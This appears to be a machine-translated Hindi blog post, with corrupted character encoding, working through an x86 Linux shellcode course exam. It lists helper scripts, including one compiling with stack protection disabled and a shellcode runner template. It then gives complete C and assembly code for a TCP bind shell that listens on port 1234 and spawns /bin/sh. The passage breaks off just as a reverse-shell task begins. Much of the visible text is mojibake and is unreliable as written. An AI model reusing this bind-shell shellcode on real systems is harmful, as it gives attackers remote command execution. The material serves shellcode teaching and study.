
рд╕реБрд░рдХреНрд╖рд╛ рд▓рд┐рдирдХреНрд╕ рдЕрд╕реЗрдВрдмрд▓реА рдПрдХреНрд╕рдкрд░реНрдЯ - рд╕реВрдЪрдирд╛ рд╕реБрд░рдХреНрд╖рд╛ рдХреЗ рд╕рдВрджрд░реНрдн рдореЗрдВ рд▓рд┐рдирдХреНрд╕-рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ рдЗрдВрдЯреЗрд▓ рдкреНрд░реЛрд╕реЗрд╕рд░ рдкрд░рд┐рд╡рд╛рд░ рдХреА 32-рдмрд┐рдЯ рдЕрд╕реЗрдВрдмрд▓реА рднрд╛рд╖рд╛ рдХреА рдореВрд▓ рдмрд╛рддреЗрдВ рдкрд░ рдПрдХ рдСрдирд▓рд╛рдЗрди рдкрд╛рдареНрдпрдХреНрд░рдо рдФрд░ рдкрд░реАрдХреНрд╖рд╛ред рдпрд╣ рдкрд╛рдареНрдпрдХреНрд░рдо рдкрдВрдЪрдХрд░реНрдорд┐рдпреЛрдВ, рд╕реВрдЪрдирд╛ рд╕реБрд░рдХреНрд╖рд╛ рдЗрдВрдЬреАрдирд┐рдпрд░реЛрдВ рдФрд░ рдЬреЛ рдХреЛрдИ рднреА рдЕрд╕реЗрдВрдмрд▓рд░ рдХреА рдореВрд▓ рдмрд╛рддреЗрдВ рд╕рдордЭрдирд╛ рдЪрд╛рд╣рддрд╛ рд╣реИ рдФрд░ рд╕рд░рд▓ рд╢реЗрд▓рдХреЛрдб рд▓рд┐рдЦрдирд╛ рд╕реАрдЦрддрд╛ рд╣реИ, рдЙрд╕рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧреА рд╣реЛрдЧрд╛ред рдкрд╛рдареНрдпрдХреНрд░рдо рдкреВрд░рд╛ рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж, рдЖрдк рд╕реАрдЦреЗрдВрдЧреЗ рдХрд┐ рдмреБрдирд┐рдпрд╛рджреА рд▓рд┐рдирдХреНрд╕ рд╕рд┐рд╕реНрдЯрдо рдХреЙрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХреИрд╕реЗ рдХрд░реЗрдВ, рд╕рд░рд▓ рд╢реЗрд▓рдХреЛрдб рд▓рд┐рдЦреЗрдВ, рдФрд░ рдХрд░реНрдиреЗрд▓ рд╕реНрддрд░ рдкрд░ рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рдХреЗ рдмреБрдирд┐рдпрд╛рджреА рд╕рд┐рджреНрдзрд╛рдВрддреЛрдВ рдХреЛ рд╕рдордЭрдирд╛ рд╢реБрд░реВ рдХрд░реЗрдВред рдпрд╣ рд▓реЗрдЦ рдЗрд╕ рдкрд╛рдареНрдпрдХреНрд░рдо рдХреЗ рд▓рд┐рдП рдкрд░реАрдХреНрд╖рд╛ рдкрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рдХрд╛рд░реНрдпреЛрдВ рдХреЛ рдХрд╡рд░ рдХрд░реЗрдЧрд╛ редрдкрд░реАрдХреНрд╖рд╛ рдХреА рд╢рд░реНрддреЛрдВ рдХреЗ рдЕрдиреБрд╕рд╛рд░, рдЖрдкрдХреЛ 7 рдХрд╛рд░реНрдп рдкреВрд░реЗ рдХрд░рдиреЗ рд╣реЛрдВрдЧреЗ:- рдЯреАрд╕реАрдкреА рдмрд┐рдВрдж рд╢реИрд▓ рд▓рд┐рдЦреЗрдВ
- рд░рд┐рд╡рд░реНрд╕ рдЯреАрд╕реАрдкреА рд╢реЗрд▓ рд▓рд┐рдЦреЗрдВ
- Egghunter рддрдХрдиреАрдХ рд╕реЗ рдирд┐рдкрдЯреЗрдВ рдФрд░ рдЗрд╕ рддрдХрдиреАрдХ рдХрд╛ рдЙрджрд╛рд╣рд░рдг рджреЗрдВ
- рдПрдХ рдХреЛрдб рдПрдирдХреЛрдбрд░ рд▓рд┐рдЦреЗрдВ
- GDB / ndisasm / libemu рдХреЗ рд╕рд╛рде msfvenom рджреНрд╡рд╛рд░рд╛ рдЙрддреНрдкрдиреНрди 3 рд╢реЗрд▓рдХреЛрдб рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░реЗрдВ
- 3 рдХрд┐рд╕реА рднреА рд╢реЗрд▓рдХреЛрдб рдФрд░ рд╢реЗрд▓рд╕реНрдЯреЙрд░реНрдо рдХреЗ рдмрд╣реБрд░реВрдкреА рд░реВрдкрд╛рдВрддрд░рдг рдХрд░реЗрдВред
- рдПрдХ рдХреЛрдб рдПрдирдХреНрд░рд┐рдкреНрдЯ рдХрд░реЗрдВ
рдкреНрд░рддреНрдпреЗрдХ рдХрд╛рд░реНрдп рдкрд░ рдЯрд┐рдкреНрдкрдгреА рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ, рдпрд╣ рдЙрди рдкрд░ рдХрд╛рдо рдХрд░рдиреЗ рдХреА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рд╕реНрдХреНрд░реАрдирд╢реЙрдЯ рдкреНрд░рджрд╛рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рднреА рд╡рд╛рдВрдЫрдиреАрдп рд╣реИред рдЪрд▓реЛ рддреИрдпрд╛рд░реА рдХреЗ рд╕рд╛рде рд╢реБрд░реВ рдХрд░рддреЗ рд╣реИрдВредрдкреНрд░рд╢рд┐рдХреНрд╖рдг
рд╕реНрд╡рдЪрд╛рд▓рди рд╣рдорд╛рд░реА рд╕рдм рдХреБрдЫ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдХрд╛рд░реНрдпреЛрдВ рдХреЛ рдЖрдЧреЗ рдмрдврд╝рд╛рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ, рдЖрдкрдХреЛ рдкрд╛рдареНрдпрдХреНрд░рдо рдореЗрдВ рдорд╣рд╛рд░рдд рд╣рд╛рд╕рд┐рд▓ рдХрд░рдиреЗ рдФрд░ рдкрд░реАрдХреНрд╖рд╛ рдкрд╛рд╕ рдХрд░рдиреЗ рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛рдиреЗ рд╡рд╛рд▓реА рд▓рд┐рдкрд┐рдпреЛрдВ рдХрд╛ рд╡рд░реНрдгрди рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред рд╡реЗ рд╕рдордп рдФрд░ рдкреНрд░рдпрд╛рд╕ рдХреЛ рдмрдЪрд╛рдиреЗ рдореЗрдВ рдорджрдж рдХрд░реЗрдВрдЧреЗредnasm32.sh#!/bin/bash
if [ -z $1 ]; then
echo "Usage ./nasm32 <nasmMainFile> (no extension)"
exit
fi
if [ ! -e "$1.asm" ]; then
echo "Error, $1.asm not found."
echo "Note, do not enter file extensions"
exit
fi
nasm -f elf $1.asm -o $1.o
ld -m elf_i386 -o $1 $1.o
рдЗрд╕ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рддреЗрдЬреА рд╕реЗ рд╕рдВрдХрд▓рди рдФрд░ рд▓рд┐рдВрдХ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИредpopcode.sh#!/bin/bash
target=$1
objdump -D -M intel "$target" | grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d: | cut -f1-7 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\x/g' | paste -d '' -s
рд╣рдо рдЗрд╕ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХреЛрдб рдХреЛ рд╣реЗрдХреНрд╕-рдлреЙрд░реНрдореЗрдЯ рдореЗрдВ рдкреНрд░рд┐рдВрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд░реЗрдВрдЧреЗ, рдЬрд┐рд╕рдореЗрдВ рдкреНрд░рддреНрдпреЗрдХ рд╡рд░реНрдг рд╕реЗ рдкрд╣рд▓реЗ "\ x" рдкреНрд░рд┐рдВрдЯ рд╣реЛрдЧрд╛ред рдпрд╣ рд╣рдорд╛рд░реЗ рд╢реЗрд▓рдХреЛрдб рдХреЛ рд╕реА-рдлрд╛рдЗрд▓ рдореЗрдВ рдбрд╛рд▓рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рд╣реИредhexopcode.sh#!/bin/bash
target=$1
objdump -D -M intel "$target" | grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d: | cut -f1-7 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\x/g' | paste -d '' -s | sed -e 's!\\x!!g'
рдпрд╣рд╛рдВ рд╕рдм рдХреБрдЫ рд╕рдорд╛рди рд╣реИ рдЬреИрд╕рд╛ рдХрд┐ рдКрдкрд░ рдХреА рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдореЗрдВ рд╣реИ, рдХреЗрд╡рд▓ рдХреЛрдб "\ x" рдХреЗ рдмрд┐рдирд╛ рдореБрджреНрд░рд┐рдд рд╣реЛрддрд╛ рд╣реИред рдирд┐рдореНрди рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЗ рд▓рд┐рдП рд╣реЗрдХреНрд╕ рдХреЛрдб рдХреЛ рдкрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рд╣реИредhex2stack.py
import sys
if __name__ == '__main__':
if len(sys.argv) != 2:
print("Enter opcode in hex")
sys.exit(0)
string = sys.argv[1]
reversed = [string[i:i+2] for i in range(0,len(string),2)][::-1]
l = len(reversed) % 4
if l:
print("\tpush 0x" + "90"*(4-l) + "".join(reversed[0:l]))
for p in range(l, len(reversed[l:]), 4):
print("\tpush 0x" + "".join(reversed[p:p+4]))
рдХреЛрдб рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░рдирд╛ рдЖрд╕рд╛рди рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП, рдЗрд╕реЗ рд╕реНрдЯреИрдХ рдкрд░ рдзрдХреЗрд▓ рджрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдбреЗрдЯрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рдЙрд▓рдЯреЗ рдХреНрд░рдо рдореЗрдВ рдвреЗрд░ рдкрд░ рдзрдХреЗрд▓ рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдзрдХреНрдХрд╛ рдЖрджреЗрд╢ ред рдКрдкрд░ рдХреА рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд╣реЗрдХреНрд╕ рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХреЛ рд╕реНрдЯреИрдХ рдкрд░ рд░рдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдХрдирд╡рд░реНрдЯ рдХрд░рддреА рд╣реИредрдЙрджрд╛рд╣рд░рдг:$./stack_shell.py 31c0506a68682f626173682f62696e89e35089c25389e1b00bcd80
push 0x9080cd0b
push 0xb0e18953
push 0xc28950e3
push 0x896e6962
push 0x2f687361
push 0x622f6868
push 0x6a50c031
uscompile.sh#!/bin/bash
if [ -z $1 ]; then
echo "Usage ./compile <cFile> (no extension)"
exit
fi
if [ ! -e "$1.c" ]; then
echo "Error, $1.c not found."
echo "Note, do not enter file extensions"
exit
fi
gcc -masm=intel -m32 -ggdb -fno-stack-protector -z execstack -mpreferred-stack-boundary=2 -o $1 $1.c
рдпрд╣ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдЕрдХреНрд╖рдо рд╕реНрдЯреИрдХ рд╕реБрд░рдХреНрд╖рд╛ рдХреЗ рд╕рд╛рде рдПрдХ рд╕реА-рдлрд╛рдЗрд▓ рд╕рдВрдХрд▓рд┐рдд рдХрд░рддрд╛ рд╣реИред рд╢реИрдХреНрд╖рд┐рдХ рдЙрджреНрджреЗрд╢реНрдпреЛрдВ рдХреЗ рд▓рд┐рдП рд╕реБрд░рдХреНрд╖рд╛ рдЕрдХреНрд╖рдо рдХрд░реЗрдВредshellcode.c#include<stdio.h>
#include<string.h>
unsigned char code[] =
"";
int main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
рд╕реНрд╡рдпрдВ рд╕реА-рдлрд╛рдЗрд▓, рдЬрд┐рд╕рдореЗрдВ рд╣рдо рдЕрдкрдирд╛ рд╢реЗрд▓рдХреЛрдб рдбрд╛рд▓рддреЗ рд╣реИрдВредрдХрд╛рд░реНрдп
1. рдЯреАрд╕реАрдкреА рдмрд╛рдЗрдВрдб рд╢реЗрд▓ рд▓рд┐рдЦреЗрдВ
рд╣рдо рд╕рд░рд▓рддрдо рдЯреАрд╕реАрдкреА-рдмрд╛рдЗрдВрдб рд╢реЗрд▓ рд▓рд┐рдЦреЗрдВрдЧреЗ, рдЗрд╕рд▓рд┐рдП рд╣рдорд╛рд░реЗ рдорд╛рдорд▓реЗ рдореЗрдВ рдЖрджреЗрд╢ рдирд┐рдореНрдирд╛рдиреБрд╕рд╛рд░ рд╣реИ:- рд╣рдо рд╕реЙрдХреЗрдЯ () рд╕рд┐рд╕реНрдЯрдо рдХреЙрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рд╕реЙрдХреЗрдЯ рдмрдирд╛рддреЗ рд╣реИрдВ; рдирд┐рд░реНрдорд╛рдг рдкрд░, рд╣рдореЗрдВ рдПрдХ рд╕реЙрдХреЗрдЯ рд╡рд┐рд╡рд░рдгрдХ рджрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛, рдЬреЛ рдПрдХ рд╕рдВрдЦреНрдпрд╛ рд╣реИ;
- рдирд┐рд░реНрдорд┐рдд рд╕реЙрдХреЗрдЯ рдХреЗ рд▓рд┐рдП, рдорд╛рдкрджрдВрдбреЛрдВ рдХреЛ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░реЗрдВ - рдкреНрд░реЛрдЯреЛрдХреЙрд▓, рд╡рд╣ рдкрддрд╛ рдЬрд╣рд╛рдВ рдпрд╣ "рд╕реБрдиреЛ", рдкреЛрд░реНрдЯ - рдФрд░ рдПрдХ рдмрд╛рдЗрдВрдб () рд╕рд┐рд╕реНрдЯрдо рдХреЙрд▓ рдХрд░реЗрдЧрд╛, рдЬреЛ рд╣рдорд╛рд░реЗ рд╕реЙрдХреЗрдЯ рдХреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдорд╛рдкрджрдВрдбреЛрдВ рдХреЛ рдареАрдХ рдХрд░реЗрдЧрд╛;
- рдлрд┐рд░ рд╕реБрдирдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдХреЙрд▓ рдХрд░реЗрдВ () - рдЖрд╡рдХ рдХрдиреЗрдХреНрд╢рди рдХреЗ рд▓рд┐рдП рд╕реЙрдХреЗрдЯ "рд╕реБрдирддрд╛ рд╣реИ";
- рдХреЗрд╡рд▓ рдХрдиреЗрдХреНрд╢рди рд╕реБрдирдиреЗ рдХреЗ рд▓рд┐рдП рдкрд░реНрдпрд╛рдкреНрдд рдирд╣реАрдВ рд╣реИ, рдЙрдиреНрд╣реЗрдВ рд╕реНрд╡реАрдХрд╛рд░ рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП, рдЗрд╕рд▓рд┐рдП - рд╕реНрд╡реАрдХрд╛рд░ ();
- рдХреНрд▓рд╛рдЗрдВрдЯ рдХреЗ рд╣рдорд╕реЗ рдЬреБрдбрд╝реЗ рд╣реЛрдиреЗ рдХреЗ рдмрд╛рдж, рдХреНрд▓рд╛рдЗрдВрдЯ рдХреЛ рдЗрдирдкреБрдЯ, рдЖрдЙрдЯрдкреБрдЯ рдФрд░ рддреНрд░реБрдЯрд┐рдпреЛрдВ рдХреЗ рдорд╛рдирдХ рдбрд┐рд╕реНрдХреНрд░рд┐рдкреНрдЯрд░ рдХреЛ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рд┐рдд рдХрд░рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИ: рдбреБрдк 2 () рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЙрдиреНрд╣реЗрдВ рдбреБрдкреНрд▓рд┐рдХреЗрдЯ рдХрд░реЗрдВ;
- рдФрд░ рдЖрдЦрд┐рд░реА: рд╣рдо рдПрдХ рдХрдорд╛рдВрдб рд╢реЗрд▓ рдХреЛ рдХреЙрд▓ рдХрд░реЗрдВрдЧреЗ рдЬрд┐рд╕рдореЗрдВ рдХреНрд▓рд╛рдЗрдВрдЯ рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдЧрд╛ред
рдЕрд╕реЗрдВрдмрд▓реА рдХреЛрдб рд▓рд┐рдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдЧреЗ рдмрдврд╝рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ, рд╕реА рдореЗрдВ рдЙрдкрд░реЛрдХреНрдд рдЙрджрд╛рд╣рд░рдг рдХреЛ рд▓рд╛рдЧреВ рдХрд░рдирд╛ рдЙрдкрдпреЛрдЧреА рд╣реЛрдЧрд╛ред#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <stdio.h>
int main(void)
{
int clientfd, sockfd;
int port = 1234;
struct sockaddr_in mysockaddr;
sockfd = socket(AF_INET, SOCK_STREAM, 0);
mysockaddr.sin_family = AF_INET;
mysockaddr.sin_port = htons(port);
mysockaddr.sin_addr.s_addr = inet_addr("192.168.0.106");
bind(sockfd, (struct sockaddr *) &mysockaddr;, sizeof(mysockaddr));
listen(sockfd, 1);
clientfd = accept(sockfd, NULL, NULL);
dup2(clientfd, 0);
dup2(clientfd, 1);
dup2(clientfd, 2);
char * const argv[] = {"sh",NULL, NULL};
execve("/bin/sh", argv, NULL);
return 0;
}
рдХреЛрдб рдХреЛ рд╣рдорд╛рд░реЗ рдХреЛрдб рдХреЛ рдкреЛрд░реНрдЯ рдХрд░рдиреЗ рдХрд╛ рд╕рдордпред рдпрд╣ рд╕рдордЭрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ рдкреНрд░рддреНрдпреЗрдХ рдХреЙрд▓ рдХреНрдпрд╛ рддрд░реНрдХ рджреЗрддрд╛ рд╣реИ рдФрд░ рди рдХреЗрд╡рд▓ рд╕реНрд╡реАрдХрд╛рд░ рдХрд░рддрд╛ рд╣реИ, рдЖрдк рдЙрдиреНрд╣реЗрдВ рдПрдХ рдЧрд╛рдЗрдб рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ: рдЖрджрдореА <рдХреЙрд▓>ред рдХрднреА-рдХрднреА рдХрд┐рд╕реА рдПрдХрд▓ рдирд╛рдо рдореЗрдВ рдХрдИ рд╕рдВрджрд░реНрдн рдореИрдиреБрдЕрд▓ рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред рд╕рднреА рдЙрдкрд▓рдмреНрдз рд╕реВрдЪреА: рдПрдкреНрд░реЛрдкреЛрд╕ <рдХреЙрд▓>редрдЬрд┐рд╕рдХреЗ рдмрд╛рдж: рдЖрджрдореА <рд╣рдорд╛рд░реЗ рд▓рд┐рдП рдмреНрдпрд╛рдЬ рдХреА рдкреБрд╕реНрддрд┐рдХрд╛ рдХреА рд╕рдВрдЦреНрдпрд╛> <рдХреЙрд▓>ред0.рд╣рдо рд░рдЬрд┐рд╕реНрдЯрд░ рддреИрдпрд╛рд░ рдХрд░рддреЗ рд╣реИрдВред рд╣рдо рдЙрди рдореВрд▓реНрдпреЛрдВ рдХреЛ рдирд╣реАрдВ рдЬрд╛рдирддреЗ рд╣реИрдВ рдЬреЛ рд╣рдорд╛рд░реЗ рд╕рд╛рде рдХрд╛рдо рдХреА рд╢реБрд░реБрдЖрдд рдореЗрдВ рд░рдЬрд┐рд╕реНрдЯрд░реЛрдВ рдореЗрдВ рд╣реИрдВ, рдЗрд╕рд▓рд┐рдП рд╣рдо рдЗрд╕реЗ рд░реАрд╕реЗрдЯ рдХрд░рддреЗ рд╣реИрдВ: section .text
global _start
_start:
xor eax, eax
xor ebx, ebx
xor esi, esi
1. рд╕реЙрдХреЗрдЯ рдмрдирд╛рдПрдВx86 рд╕рд┐рд╕реНрдЯрдо рдХреЙрд▓ рдореЗрдВ, рд╕реЙрдХреЗрдЯ рдХреЗ рд▓рд┐рдП рдХреЛрдИ рд╕реАрдзрд╛ рдХреЙрд▓ рдирд╣реАрдВ рд╣реИ ()ред рд╕рднреА рдХреЙрд▓реЛрдВ рдХреЛ рдкрд░реЛрдХреНрд╖ рд░реВрдк рд╕реЗ рд╕реЙрдХреЗрдЯрд╕реЗрд▓ () рд╡рд┐рдзрд┐ рд╕реЗ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрд╣ рдХреЙрд▓ 2 рддрд░реНрдХ рд▓реЗрддрд╛ рд╣реИ: рд╕реЙрдХреЗрдЯ рдХреЙрд▓ рдирдВрдмрд░ рдФрд░ рдЗрд╕рдХреЗ рддрд░реНрдХреЛрдВ рдХреЗ рд▓рд┐рдП рдПрдХ рд╕реВрдЪрдХред рд╕рдВрднрд╛рд╡рд┐рдд рд╕реЙрдХреЗрдЯ рдХреЙрд▓ рдХреА рдПрдХ рд╕реВрдЪреА рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рдкрд╛рдИ рдЬрд╛ рд╕рдХрддреА рд╣реИ: /usr/include/linux/net.h ; creating socket. 3 args
push esi ; 3rd arg, choose default proto
push 0x1 ; 2nd arg, 1 equal SOCK_STREAM, TCP
push 0x2 ; 1st arg, 2 means Internet family proto
; calling socket call for socket creating
mov al, 102 ; socketcall
mov bl, 1 ; 1 = socket()
mov ecx, esp ; pointer to args of socket()
int 0x80
; in eax socket file descriptor. Save it
mov edx, eax
2. рдирд┐рд░реНрдорд┐рдд рд╕реЙрдХреЗрдЯ рдХреЗ рдорд╛рдкрджрдВрдбреЛрдВ рдХреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░реЗрдВ рдФрд░ рдмрд╛рдЗрдВрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВ ()редрдиреАрдЪреЗ рджреА рдЧрдИ рдЫрд╡рд┐ рдмрддрд╛рддреА рд╣реИ рдХрд┐ рд╕реНрдЯреИрдХ рдкрд░ рд╕реЙрдХреЗрдЯ рдорд╛рдкрджрдВрдбреЛрдВ рдХреЛ рдХреИрд╕реЗ рдзрдХреЗрд▓рдирд╛ рд╣реИредрдореБрдЭреЗ рдпрд╣ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдХреБрдЫ рд╕рдордп рдмрд┐рддрд╛рдирд╛ рдкрдбрд╝рд╛ рдХрд┐ рд╕реЙрдХреЗрдЯ рдХреЗ рдорд╛рдкрджрдВрдбреЛрдВ рдХреЛ рд╕реНрдЯреИрдХ рдкрд░ рдХрд┐рд╕ рд░реВрдк рдореЗрдВ рд░рдЦрд╛ рдЧрдпрд╛ рд╣реИ:
; creating sockaddr_in addr struct for bind
push esi ; address, 0 - all interfaces
push WORD 0xd204 ; port 1234.
push WORD 2 ; AF_INET
mov ecx, esp ; pointer to sockaddr_in struct
push 0x16 ; size of struct
push ecx ; pushing pointer to struct
push edx ; pushing socket descriptor
; socketcall
mov al, 102
mov bl, 2 ; bind()
mov ecx, esp
int 0x80
рдкреЛрд░реНрдЯ рдмрджрд▓рдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдк рдХрдорд╛рдВрдб рдЪрд▓рд╛ рд╕рдХрддреЗ рд╣реИрдВ:$python3 -c "import socket; print(hex(socket.htons(<int:port>)))"
рдФрд░ рдпрджрд┐ рдЖрдк рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдкрддрд╛ рдмрддрд╛рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ рдЬрд┐рд╕ рдкрд░ рд╣рдорд╛рд░рд╛ рд╕реЙрдХреЗрдЯ рд╕реБрдиреЗрдВрдЧреЗ:$python3 -c 'import ipaddress; d = hex(int(ipaddress.IPv4Address("<IPv4 address>"))); print("0x"+"".join([d[i:i+2] for i in range(0,len(d),2)][1:][::-1]))'
3. рдХреЙрд▓ рд╕реБрдиреЛ () ; creating listen
push 1
push edx
; calling socketcall
mov al, 102
mov bl, 4 ; listen()
mov ecx, esp
int 0x80
4. рдХреЙрд▓ рд╕реНрд╡реАрдХрд╛рд░ () ; creating accept()
push esi
push esi
push edx
; calling socketcall
mov al, 102
mov bl, 5 ; accept()
mov ecx, esp
int 0x80
mov edx, eax ; saving client file descriptor
5. рдорд╛рдирдХ рд╡рд┐рд╡рд░рдгрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдбреБрдкреНрд▓рд┐рдХреЗрдЯ рдХрд░реЗрдВред ; dup2 STDIN, STDOUT, STDERR
xor ecx, ecx
mov cl, 3
mov ebx, edx
dup: dec ecx
mov al, 63
int 0x80
jns dup
6. рдХрдорд╛рдВрдб рд╢реЗрд▓ рдХреЛ рдХреЙрд▓ рдХрд░реЗрдВ ; execve /bin/sh
xor eax, eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
push eax
mov edx, esp
push ebx
mov ecx, esp
mov al, 11
int 0x80
рдЕрдм рдЗрд╕реЗ рд╕рдм рдПрдХ рд╕рд╛рде рд░рдЦ рджреЗрдВ section .text
global _start
_start:
; clear registers
xor eax, eax
xor ebx, ebx
xor esi, esi
; creating socket. 3 args
push esi ; 3rd arg, choose default proto
push 0x1 ; 2nd arg, 1 equal SOCK_STREAM, TCP
push 0x2 ; 1st arg, 2 means Internet family proto
; calling socket call for socket creating
mov al, 102 ; socketcall
mov bl, 1 ; 1 = socket()
mov ecx, esp ; pointer to args of socket()
int 0x80
; in eax socket file descriptor. Save it
mov edx, eax
; creating sockaddr_in addr struct for bind
push esi ; address, 0 - all interfaces
push WORD 0xd204 ; port 1234.
push WORD 2 ; AF_INET
mov ecx, esp ; pointer to sockaddr_in struct
push 0x16 ; size of struct
push ecx ; pushing pointer to struct
push edx ; pushing socket descriptor
; socketcall
mov al, 102 ; socketcall() number
mov bl, 2 ; bind()
mov ecx, esp ; 2nd argument - pointer to args
int 0x80
; creating listen
push 1 ; listen for 1 client
push edx ; clients queue size
; calling socketcall
mov al, 102
mov bl, 4 ; listen()
mov ecx, esp
int 0x80
; creating accept()
push esi ; use default value
push esi ; use default value
push edx ; sockfd
; calling socketcall
mov al, 102
mov bl, 5 ; accept()
mov ecx, esp
int 0x80
mov edx, eax ; saving client file descriptor
; dup2 STDIN, STDOUT, STDERR
xor ecx, ecx ; clear ecx
mov cl, 3 ; number of loops
mov ebx, edx ; socketfd
dup: dec ecx
mov al, 63 ; number of dup2 syscall()
int 0x80
jns dup ; repeat for 1,0
; execve /bin/bash
xor eax, eax ; clear eax
push eax ; string terminator
push 0x68732f2f ; //bin/sh
push 0x6e69622f
mov ebx, esp ; 1st arg - address of //bin/sh
push eax ;
mov edx, eax ; last argument is zero
push ebx ; 2nd arg - pointer to all args of command
mov ecx, esp ; pointer to args
mov al, 11 ; execve syscall number
int 0x80
рдЕрдм рд╣рдо рдкреНрд░рд╛рдкреНрдд рд╢реЗрд▓рдХреЛрдб рдХрд╛ рдУрдкрдХреЛрдб рд▓реЗрддреЗ рд╣реИрдВ, рдЗрд╕реЗ рд╣рдорд╛рд░реЗ рд╕реА-рдлрд╝рд╛рдЗрд▓ рдЯреЗрдореНрдкрд▓реЗрдЯ рдореЗрдВ рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд░рддреЗ рд╣реИрдВ, рд╕рдВрдХрд▓рд┐рдд рдХрд░рддреЗ рд╣реИрдВ рдФрд░ рдЪрд▓рд╛рддреЗ рд╣реИрдВ:
2. рдЯреАрд╕реАрдкреА рд╢реЗрд▓ рдХреЛ рдЙрд▓реНрдЯрд╛ рдХрд░реЗрдВ
рдЗрд╕рдХреЗ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдореЗрдВ рдпрд╣ рдХрд╛рд░реНрдп рдкрд┐рдЫрд▓реЗ рдПрдХ рдХреЗ рд╕рдорд╛рди рд╣реИ, рд╕рд┐рд╡рд╛рдп рдЗрд╕рдХреЗ рдХрд┐ рд╣рдо рдПрдХ рдЖрдиреЗ рд╡рд╛рд▓реЗ рдХрдиреЗрдХреНрд╢рди рдХреЛ рд╕реНрд╡реАрдХрд╛рд░ рдХрд░реЗрдВрдЧреЗред рд╕рд╛рдорд╛рдиреНрдп рдПрд▓реНрдЧреЛрд░рд┐рдереНрдо:1. рдПрдХ рд╕реЙрдХреЗрдЯ рдмрдирд╛рдПрдВ;2. рдХрдиреЗрдХреНрд╢рди рдкреИрд░рд╛рдореАрдЯрд░ рд╕реЗрдЯ рдХрд░реЗрдВ: рдкреНрд░реЛрдЯреЛрдХреЙрд▓, рд╣реЛрд╕реНрдЯ, рдкреЛрд░реНрдЯ;3. рдбреБрдкреНрд▓рд┐рдХреЗрдЯ рдлрд╝рд╛рдЗрд▓ рд╡рд┐рд╡рд░рдгрдХ;4. 